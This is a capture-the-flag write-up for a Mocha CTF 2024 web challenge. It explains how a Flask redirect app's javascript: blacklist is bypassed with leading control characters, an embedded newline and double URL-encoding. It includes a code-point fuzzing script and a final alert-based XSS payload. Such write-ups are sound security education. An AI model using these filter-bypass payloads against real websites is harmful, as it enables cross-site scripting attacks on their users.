Mocha CTF 2024 Web Writeups


tl;dr

  • Basic Javascript pseudo protocol waf bypass .
  • Dom clobbering in a LateX library .
  • Csp bypass using JSONP endpoint in googleapis.com using callback.

🔎 Raas - Initial Analysis

The application is basically Redirection as a service. The main functionality is in the /redirectTo endpoint .

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
@app.route('/redirectTo', methods=['GET'])
def redirect_to():

    url = request.args.get("url")
    title = request.args.get("title")
    default_url = "https://www.youtube.com/watch?v=xvFZjo5PgG0&ab_channel=Duran"

    if not isinstance(title,str) or not isinstance(url,str):
        return render_template('redirect.html',url=default_url, title="title")
    url = url.strip()
    print(url)
    if not check_url(url) or not check_title(title):
        return render_template("redirect.html", title=title, url=default_url)
    return render_template('redirect.html',url=url, title=title)

here it’s taking a url and title as GET parameters and the url is being reflected in an anchor tags href value, and thats how the redirection was being implemented.

1
 <a id="url" href="{{url}}">Follow Link</a>

The title is also being reflected inside an header tag like so .

1
<h2>{{title}}</h2>

🥷 Attack plan

Our aim is XSS and there are 2 paths we could take either the title or the url way .However there is a filter for both parameters.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# check for url parameter
def check_url(url):
    url = url.lower()
    print("url: "+url)
    pattern = r'[()=$`]'
    if bool(re.search(pattern, url, re.IGNORECASE | re.DOTALL)):
        return False
    if url.startswith("j") or "javascript" in url:
        return False
    return True

# check for title param
def check_title(title):
    if "<" in title or ">" in title:
        return False
    return True

In the check_title() it checking if there are < or > so we cant give tags, so XSS using title parameter is not possible .

Moving onto the check_url() function we can see that its checking whether or not the url starts with a j or if there’s a javascript anywhere in the url, this check is done to prevent XSS using the javascript pesudo-protocol.

However the javascript URL is more complicated its never a good idea to do the check like this.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
// A javascript: URL can contain leading C0 control or \u0020 SPACE,
// and any newline or tab are filtered out as if they're not part of the URL.
// https://url.spec.whatwg.org/#url-parsing
// Tab or newline are defined as \r\n\t:
// https://infra.spec.whatwg.org/#ascii-tab-or-newline
// A C0 control is a code point in the range \u0000 NULL to \u001F
// INFORMATION SEPARATOR ONE, inclusive:
// https://infra.spec.whatwg.org/#c0-control-or-space

/* eslint-disable max-len */
const isJavaScriptProtocol =
  /^[\u0000-\u001F ]*j[\r\n\t]*a[\r\n\t]*v[\r\n\t]*a[\r\n\t]*s[\r\n\t]*c[\r\n\t]*r[\r\n\t]*i[\r\n\t]*p[\r\n\t]*t[\r\n\t]*\:/i;

This is the React libraries implementation to check for javascript URL from this its understandable the flexibility of the javascript:. Its possible to have newlines and tabs within the string and additional characters before the javascript:

Its always good to FUZZ for characters when it comes to stuff like this

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<script>
        
        let logs = []
        for(let i=0;i<0x10ffff;i++){
            let anchor = document.createElement("a")
            anchor.href =`${String.fromCodePoint(i)}j${String.fromCodePoint(i)}avascript:alert(1337)`
            if(anchor.protocol == "javascript:"){
                logs.push(encodeURIComponent(String.fromCharCode(i)))
                anchor.append(`            ${i}            CLick me          `)
                document.body.append(anchor)
            }
            
        }
        console.log(logs)
    </script>

After bypassing the protocol check there is still 1 more Regex

1
2
3
pattern = r'[()=$`]'
    if bool(re.search(pattern, url, re.IGNORECASE | re.DOTALL)):
        return False

This checks returns false if the url contains any of these characters ()=$` ,
These characters are needed to call functions in Javascript , even though there are ways to do it without ().

We can easily get around this by double urlencoding as javascript also decodes this in the browser .

🚀 Final Payloads

1
%02j%0Aavascript:alert%25601%2560

See also